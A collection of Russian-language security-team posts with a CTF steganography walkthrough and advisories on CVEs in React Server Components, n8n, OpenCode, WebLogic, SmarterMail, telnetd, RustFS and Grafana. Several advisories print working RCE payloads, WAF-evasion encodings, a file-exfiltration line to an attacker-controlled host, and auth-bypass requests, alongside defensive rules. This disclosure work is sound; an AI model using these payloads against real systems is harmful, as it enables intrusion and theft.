Решение задания с ZeroNights

Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.

😬 На входе участник получал дамп сетевого трафика в формате .pcap. При его детальном анализе он мог заметить локальный TFTP-трафик от 127.0.0.1 к 127.0.0.1. Ему нужно было воспользоваться функцией Wireshark, которая позволяет экспортировать передаваемые объекты данного протокола, чтобы получить архив Important.zip.

В архиве три файла:

- doc.txt
- photo.png
- song.wav

Текстовый документ открывается в любом редакторе. Внутри такое сообщение:

My pet's name: Solar
The rest is hidden in the image.

На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):

SECRET=ik42

😬 Дальше было важно понять, для чего нужен этот фрагмент. Для этого нужно проанализировать последний файл из архива song.wav, который при открытии издает монотонный звук.

Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.

Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:

sudo mount -o loop fs mnt
ls -R mnt
mnt/
└── secret_dir
    └── final.txt

Текстовый документ содержал в себе флаг к этой задаче:

Solar4Rays{S0RR4_F0R_ST3G0_AG41N}

Это финал! Ставим лайк победителям квеста ❤️

Evading Detection to Ring0

Задумывались ли вы о том, как работают инструменты сбора телеметрии, которые вы используете у себя в инфраструктуре? Знаете ли их потенциальные слабые места?

Злоумышленники постоянно ищут и успешно находят способы обхода различных защитных решений, а также стараются вести себя в скомпрометированной инфраструктуре как можно тише. Если вы не будете хотя бы иногда думать о первых двух вопросах, то очень вероятно, что злоумышленники смогут обмануть защиту.

Мы подумали, разреверсили EventLog, Sysmon и ядро операционной системы Windows, а по итогам исследования выпустили статью, в которой рассказываем:
😬 как работает EventLog от момента генерации события до его получения в журналах;
😬 как работает широко известный Sysmon;
😬 что такое ETW и с чем его едят;
😬 как можно собирать телеметрию о WinAPI-вызовах;
😬 какие есть способы обхода перечисленных средств сбора телеметрии.

Также о нашем исследовании мы рассказывали на SOC Forum 2025. Ищите запись на Rutube.

Критическая уязвимость CVE-2025-55182

Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.

Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.

😬 Метрики

Base Score: 10.0 CRITICAL
CWE: CWE-502

😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.

Flight-протокол допускает ссылки вида $1:key1:key2:...:keyN:

$1:__proto__:constructor:constructor

Протокол разбирает это так: взять фрагмент 1 -> получить поле __proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.

😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}

😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость

RCE


process.mainModule.require('child_process').execSync('CODE'); 

Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.

process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.

process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })

Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.

SSRF

process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));

Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.

Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:

:__proto__:then  -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e

Или строку CODE могут закодировать в base64 так:

execSync(Buffer.from('Q09ERQ==','base64').toString())

Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.

process.mainModule.require('child_process').execSync('CODE');  ->  Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)

Техники можно комбинировать, что усложняет обнаружение.

 \u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...

😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.

Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки $B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.

Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.

Rust: как бороться с ночным кошмаром реверс-инженеров 👀

Часто при исследовании вредоносов на Rust создают сигнатуры для используемых крейтов. Это помогает распознать библиотечные функции внутри исполняемого файла. Но если не знать параметров оптимизации, с которыми был скомпилирован вредонос, сигнатуры могут получиться некачественными и тогда не удастся распознать большое количество функций.

Мы разработали и выложили в открытый доступ скрипт, который может подобрать наиболее подходящие параметры оптимизации для того, чтобы создавать более эффективные сигнатуры. Как его можно применить на практике и какой еще эффективный метод исследования Rust-вредоносов есть, читайте в нашей новой статье.

Дополнительно к CVE-2025-55182

Стало известно еще о двух уязвимостях в React Server Components:

1. CVE-2025-55184 (CVE-2025-67779) — угроза типа «отказ в обслуживании». Уязвимы версии до 19.0.3, 19.1.4 и 19.2.3.
2. CVE-2025–55183 — угроза раскрытия исходного кода.

🫡 Метрики

CVE-2025–55184
Base Score: 7,5
CVE-2025–55183
Base Score: 5,3

🫡 Об уязвимости CVE-2025–55183
Уязвимость возникает при десериализации вредоносного запроса, где сервер возвращает исходный код вместо ожидаемого ответа. Для эксплуатации уязвимости необходимо иметь серверную функцию, которая явно или неявно предоставляет строковый аргумент.

🫡 Об уязвимости CVE-2025–55184
Уязвимость возникает при десериализации вредоносного запроса, который вызывает бесконечный цикл, что в свою очередь ведет к большому потреблению ресурсов сервера.

🫡 Пример CVE-2025–55183

Content-Disposition: form-data; name="0"
["$F1"]
------SourceLeak
Content-Disposition: form-data; name="1"
{"id":"40253f19fa8f907f9b5ea79d831ed8ce7f3cb46e15","bound»: null}
------SourceLeak—

🫡 Пример CVE-2025–55184

Content-Disposition: form-data; name="0"; filename=""

"$@0"
--36bd33c14b4a09f0b880ae771a9a66af--

🫡 Как защититься
Правило может выглядеть так: POST-запрос плюс заголовки next-action или x-rsc-action плюс наличие в теле маркеров $B, $@, $Q, $F либо их Unicode-представления.

Критическая уязвимость в n8n CVE-2025–68613
Дополнительно — лабораторная работа

CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.

🫡 Метрики

Base score: 9.9 critical
CWE: CWE-913

🫡 Об уязвимости
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.

1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
5) execute step.

Например, value может выглядеть так:

{{ (function() { var require = this.process.mainModule.require; var { execSync } = require("child_process"); return execSync("id", { encoding: "utf8" }).trim(); })() }}

Смягчающий фактор: для атаки нужно авторизироваться.

🫡 Пример атаки

Запрос:

{"workflowData":{"name":"cmd","nodes":[{"parameters":{},"type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[0,0],"id":"8609d8a2-6b0e-4029-acfc-f9fd0c8e2d37","name":"When clicking ‘Execute workflow’"},{"parameters":{"assignments":{"assignments":[{"id":"e576a768-68f6-450c-99d5-089122627914","name":"","value":"={{ (function() { var require = this.process.mainModule.require; var { execSync } = require(\"child_process\"); return execSync(\"id\", { encoding: \"utf8\" }).trim(); })() }}","type":"string"}]},"options":{}},"type":"n8n-nodes-base.set","typeVersion":3.4,"position":[208,0],"id":"e385a6e4-f0dc-4b52-b5c1-5b594f49e56e","name":"Edit Fields"}],"pinData":{},"connections":{"When clicking ‘Execute workflow’":{"main":[[{"node":"Edit Fields","type":"main","index":0}]]}},"active":false,"settings":{},"tags":[],"versionId":"9ca41c70-8dc0-4fde-9e7c-6b5f99040518","meta":null,"id":"IlnKYKYHiRWvL7Gp"},"runData":{},"startNodes":[],"destinationNode":"Edit Fields"}

Часть ответа:

"data":"[{\"startData\":\"1\",\"resultData\":\"2\",\"executionData\":\"3\"},{\"destinationNode\":\"4\",\"runNodeFilter\":\"5\"},{\"runData\":\"6\",\"pinData\":\"7\",\"lastNodeExecuted\":\"4\"},{\"contextData\":\"8\",\"nodeExecutionStack\":\"9\",\"metadata\":\"10\",\"waitingExecution\":\"11\",\"waitingExecutionSource\":\"12\"},\"Edit Fields\",[\"13\",\"4\"],{\"When clicking ‘Execute workflow’\":\"14\",\"Edit Fields\":\"15\"},{},{},[],{},{},{},\"When clicking ‘Execute workflow’\",[\"16\"],[\"17\"],{\"startTime\":1766556431228,\"executionIndex\":0,\"source\":\"18\",\"hints\":\"19\",\"executionTime\":1,\"executionStatus\":\"20\",\"data\":\"21\"},{\"startTime\":1766558489574,\"executionIndex\":1,\"source\":\"22\",\"hints\":\"23\",\"executionTime\":4,\"executionStatus\":\"20\",\"data\":\"24\"},[],[],\"success\",{\"main\":\"25\"},[\"26\"],[],{\"main\":\"27\"},[\"28\"],{\"previousNode\":\"13\",\"previousNodeOutput\":0,\"previousNodeRun\":0},[\"29\"],[\"30\"],[\"31\"],{\"json\":\"32\",\"pairedItem\":\"33\"},{\"json\":\"34\",\"pairedItem\":\"35\"},{},{\"item\":0},{\"\":\"36\"},{\"item\":0},\"uid=1000(node) gid=1000(node) groups=1000(node)\"]

🫡 Лабораторная
В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить docker-compose up. После установки в консоли вы увидите адрес и порт n8n-сервиса, на него необходимо перейти и закончить настройку. Далее необходимо выполнить все шаги выше.

🫡 Как защищаться
Блокировать POST-запросы на /rest/workflows, где значение переменой value ноды set передается строка вида {{CODE}}. CODE можно заменить на опасные JS-функции, например, require, child_process, execSync, toString и другие.

Вскрываем bincrypter

В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.

👍 В новой статье мы подробно разбираем архитектуру bincrypter: как формируются секции shebang/init/payload, зачем нужен offset R, как обфусцируются base64-строки и каким образом выполняется финальная расшифровка нагрузки. Отдельно показываем, как извлекать ключевые переменные, чистить мусор и восстанавливать исходный исполняемый файл.

Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.

И да, с наступающими! ❤️

Уязвимость CVE-2026–22812 в OpenCode

CVE-2026-22812 — уязвимость удаленного выполнения кода в OpenCode.

🫡 Метрики

Base Score: 8.8 HIGH
CWE: CWE – 306, CWE – 749, CWE – 942

🫡 Подробнее об уязвимости
OpenCode автоматически запускает локальный HTTP-сервер без какой-либо аутентификации. Сервер позволяет отправлять запросы, которые исполняют shell-команды от имени пользователя, запустившем OpenCode.

Из-за слишком разрешительных настроек CORS-сервер может быть доступен даже с веб-страницы — это расширяет вектор атаки далеко за пределы локальных приложений.

🫡 Уязвимые конечные точки
/session/{ID}/shell — выполнение shell-команд;
/pty — создание интерактивных терминальных сессий;
/file/content — чтение произвольного файла.

🫡 Цепочка атаки
Отправка POST-запроса на /session — получение сессии. Пример ответа:

{"id":"ses_42b13a22bffech8bpcpa6bpZO4","version":"1.0.215","projectID":"global","directory":"/workspaces","title":"New session - 2026-01-19T06:23:38.964Z","time":{"created":1768803818964,"updated":1768803818964}}

Далее сессия, в нашем случае ses_42b13a22bffech8bpcpa6bpZO4, используется для shell-команд:

POST /session/ses_42b13a22bffech8bpcpa6bpZO4/shell HTTP/1.1
Host: localhost:4096
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 41
{"agent": "build", "command": "id"}

🫡 Как защититься
1) Обновиться.
2) Если быстрое обновление невозможно, то блокировать запросы на уязвимые конечные точки из внешних систем, например, правилами WAF/IDS.

ShadowRelay — модульный бэкдор в госсекторе

В 2025 году мы расследовали атаку на организацию из госсектора и всего в одной инфраструктуре нашли много интересного от разных группировок:

🫡 оригинальный ShadowPad;
🫡 Shadowpad Light (Erudite Mogwai);
🫡 Donnect (Obstinate Mogwai);
🫡 Mythic Agent (GOFFEE).

Но среди этого знакомого зоопарка было и нечто новенькое.

Модульный бэкдор позволяет атакующим скрытно подгружать плагины, которые реализуют необходимую функциональность в конкретной атаке. Также бэкдор может поддерживать связь с другими имплантами, которые, например, не имеют подключения к интернету.

Бэкдор появился в атакованной инфраструктуре приблизительно с группировкой Obstinate Mogwai. Для надежной атрибуции этого маловато, поэтому личности операторов вредоноса пока под вопросом. А вот его устройство и механизмы действия мы разобрали в нашей новой статье.

Критическая уязвимость в Oracle-Fusion-Middleware CVE-2026-21962

CVE-2026-21962 — уязвимость удаленного выполнения кода (RCE) в Oracle Fusion Middleware, которые используют Oracle HTTP Server и плагин WebLogic Server Proxy для переадресации веб-трафика на серверы бэкенд-приложений. Уязвимость затрагивает Oracle HTTP Server и плагин WebLogic Server Proxy для Apache HTTP Server и IIS в версиях 12.2.1.4.0, 14.1.1.0.0 и 14.1.2.0.0 (для IIS-версии плагина — только 12.2.1.4.0).

👍 Метрики

Base Score: 10.0 CRITICAL
CWE: CWE-284

👍 Сканирование и эксплуатация
Кроме сканеров уязвимых версий в публичном пространстве появляются скрипты с попытками эксплуатации. Вот что информативного можно выделить в этих эксплоитах.

Уязвимые конечные точки:

"/weblogic/",
"/wl_proxy/",
"/bea_wls_internal/",
"/_proxy/",
"/proxy/"

Специфические URL:

/weblogic/..;/bea_wls_internal/ProxyServlet

Заголовки:

"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",

encoded_payload — закодированная в base64 shell-команда.

Пример запроса:

GET /weblogic/weblogic/..;/bea_wls_internal/ProxyServlet HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (compatible; Exploit/1.0)
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
WL-Proxy-Client-IP: 127.0.0.1;Y21kOmlk
X-Forwarded-For: 127.0.0.1;Y21kOmlk

👍 Как происходит сканирование
Отправляется запрос на {конечная точка}/weblogic/..;/bea_wls_internal/ProxyServlet. Если сервер отвечает статус-кодом 200, то запрос отправляется на эту же конечную точку с установленными заголовками.

👍 Как защититься
Для детектирования подобных сканеров можно написать правило на WAF/IDS , блокирующее GET/POST-запросы на уязвимые конечные точки, в URL которых передаются попытки выхода за пределы каталога ../ ..; а в заголовках — строка с кодировкой base64.

Опять админ пароль сменил

CVE-2026-23760 — критическая уязвимость, которая позволяет сбросить пароль администратора. Действует в SmarterMail в версиях до 9511.

👽 Метрики

Base Score: 9,3
CWE: CWE-288

👽 Подробнее об уязвимости
Она находится в конечной точке /api/v1/auth/force-reset-password, на которую можно отправить подготовленный POST-запрос, в котором Json-тело будет в следующем формате:

{"IsSysAdmin":"true",
"OldPassword":"ItIsWrongNumber",
"Username":"NameAdmin",
"NewPassword":"ImAdmin1337!",
"ConfirmPassword": "ImAdmin1337!"}

✅ IsSysAdmin — Bool-переменная. Значение true отвечает за сброс пароля администратора, false — за сброс пароля обычного пользователя.

✅ OldPassword — переменная, значение которой не проверяется.

✅ Username — имя администратора. Оно должно реально существовать.

db_system_administrator_readonly db_system_administrator_readonly = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username);

✅ NewPassword и ConfirmPassword — новый пароль и его подтверждение.

Уточнение: присутствует проверка старого пароля у обычных пользователей, IsSysAdmin: false.

В патч добавили проверку старого пароля администратора:

if (!db_system_administrator_readonly.ValidatePassword(inputs.OldPassword, null))

Важно: уязвимость усугубляет возможность выполнения RCE при создании нового тома через Volume Mount Command.
1) Зайдите в настройки — Volume Mounts.
2) Создайте new volume.
3) Введите произвольную команду в поле Volume Mount.

👽 Как защищаться
1) Обновляться.
2) Блокировать запросы из внешних сетей на /api/v1/auth/force-reset-password со значением IsSysAdmin: true.
3) Проверять логи обращений к /api/v1/auth/force-reset-password от внешних сетей.

Telnetd открыт для всех. Критическая уязвимость CVE-2026-24061

CVE-2026-24061 — критическая уязвимость типа Argument Injection в демоне Telnetd из набора GNU Inetutils. Уязвимый код находится в компонентах Telnetd в версиях от 1.9.3 до 2.7 включительно.

🫡 Метрики

Base Score: 9.8 Critical
CWE: 88

🫡 Суть уязвимости
В Telnetd переменная окружения USER нужна для предварительного заполнения имени пользователя при аутентификации. -f — это один из флагов в исполняемом файле /usr/bin/login, который позволяет пропустить интерактивную аутентификацию.

Если для переменной USER установить значение -f root и опцию автологина -a, то Telnetd передаст -f root в исполняемый файл /usr/bin/login. Это заставит команду login пропустить аутентификацию и позволит залогиниться как под root, так и под учетную запись любого другого пользователя.

Кстати: можно изменить значения других переменных окружения Telnetd. Пример — мы изменили значение переменной окружения TERM командой:

USER="-f root" TERM="hello" telnet -a 127.0.0.1 2323

🫡 Последовательность атаки
1) Злоумышленник подключается к серверу Telnet.

2) При инициации аутентификации клиент Telnet устанавливает для переменной окружения USER значение -f root.

3) Telnetd получает запрос Suboption New Environment Option и передает значение USER (то есть -f root) как аргумент для /usr/bin/login, где параметр -f позволяет пропустить проверку пароля и осуществляет вход под пользователем root.

4) Клиент получает интерактивную оболочку root на сервере.

😬 Как защититься
1) Обновиться до версии GNU Inetutils 2.7-2 и позднее.
2) Если Telnet не нужен, то сервис Telnetd нужно деактивировать.
3) Создать правило IDS на Telnet-соединения, чтобы отслеживать опции New Environment с переменной USER=-f root.

Критическая уязвимость CVE-2025-68926 в RustFS

RustFS — это высокопроизводительная распределенная система хранения объектов на языке Rust. В версиях до 1.0.0-alpha.78 нашли жестко закодированный токен доступа, который позволяет подключиться к сетевому сервису по протоколу gRPC, полностью обойти аутентификацию и получить права администратора.

👍 Метрики

Base Score: CVSS 9.8 Critical
CWE: 287, 798

👍 Детали уязвимости
В уязвимых версиях RustFS механизм gRPC-аутентификации построен на жестко зашитом токене rustfs rpc. При этом в нем нет механизма конфигурации, токен в публичном доступе и применяется во всех развертываниях RustFS. На стороне сервера в функции проверки аутентификации токен сравнивается с этим литеральным значением:

fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();

    match req.metadata().get("authorization") {
        Some(t) if token == t => Ok(req),
        _ => Err(Status::unauthenticated("No valid auth token")),
    }
}

Со стороны клиента такой же токен жестко зашит в перехватчике gRPC-запросов:

pub async fn node_service_time_out_client(
    addr: &String,
) -> Result<
    NodeServiceClient<...>,
    Box<dyn Error>,
> {
    let token: MetadataValue<_> = "rustfs rpc".parse()?;

    // ...

    Ok(NodeServiceClient::with_interceptor(
        channel,
        Box::new(move |mut req: Request<()>| {
            req.metadata_mut().insert("authorization", token.clone());
            Ok(req)
        }),
    ))
}

RustFS запускает гибридный HTTP+gRPC сервис (по умолчанию на порту TCP 9000), и любой атакующий с сетевым доступом к gRPC-порту RustFS может отправить запросы с заголовком authorization: rustfs rpc и полностью обойти аутентификацию. Например, мы отправили такой grpcurl-запрос:

grpcurl -plaintext \                                       
  -H 'authorization: rustfs rpc' \                    
  -import-path crates/protos/src \
  -proto node.proto \                                         
  127.0.0.1:9001 node_service.NodeService/ServerInfo

В ответ получили:

{
  "success": true,
  "serverProperties": "<base64>"
}

где base64-строка содержит ServerInfo с конфиденциальными данными.

Злоумышленнику доступны более 50 методов NodeService, с помощью которых он может выполнить любые операции с данными и конфигурацией RustFS.

👍 Как защититься
1) Перейти на версию >= 1.0.0-alpha.78, где токен больше не используется.
2) Ограничить внешний сетевой доступ к gRPC-порту.

Почему у моего дашборда новый админ ?

CVE-2026-21721 — уязвимость небезопасного управления привилегиями в дашбордах Grafana.

Исправления:
>=12.3.0 <12.3.1+security-01
>=12.2.0 <12.2.3+security-01
>=12.1.0 <12.1.5+security-01
>=12.0.0 <12.0.8+security-01
>=10.2.0 <11.6.9+security-01

😬 Метрики

Base Score: 8.1 HIGH
CWE: CWE-269
BDU:2026-01120

😬 Об уязвимости
API отвечает за изменение разрешений дашбордов Grafana. И он не проверяет корректный контекст целевой панели — он лишь смотрит, есть ли у пользователя базовое право на управление разрешениями. В результате если у пользователя есть право управлять разрешениями хотя бы одном дашборде, то он может изменить разрешения других дашбордов, к которым вообще не должен иметь доступ.

Уязвимая конечная точка: /api/dashboards/uid/<uid>/permissions
Для примера можно отправить такой запрос:

POST /api/dashboards/uid/bfc7vbecejl6oc/permissions HTTP/1.1
Host: 192.168.177.165:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: grafana_session=9bbdffb57037d16704c7a299470b6ba4; grafana_session_expiry=1770202645
Content-Length: 44
Content-Type: application/json

{"items": [ {"userId": 2, "permission": 4}]}

Этот запрос удалит все доступные роли и всех пользователей, кроме пользователя userId: 2. Для него запрос установит права администратора в дашборде с uid: bfc7vbecejl6oc

😬 Как защититься
1) Обновиться.
2) Провести мониторинг прав пользователей в созданных дашбордах.
3) Если быстро обновиться невозможно, то лучше временно ограничить доступ к API /api/dashboards/uid/<uid>/permissions для POST-запросов. Для этого используйте правила WAF/IDS.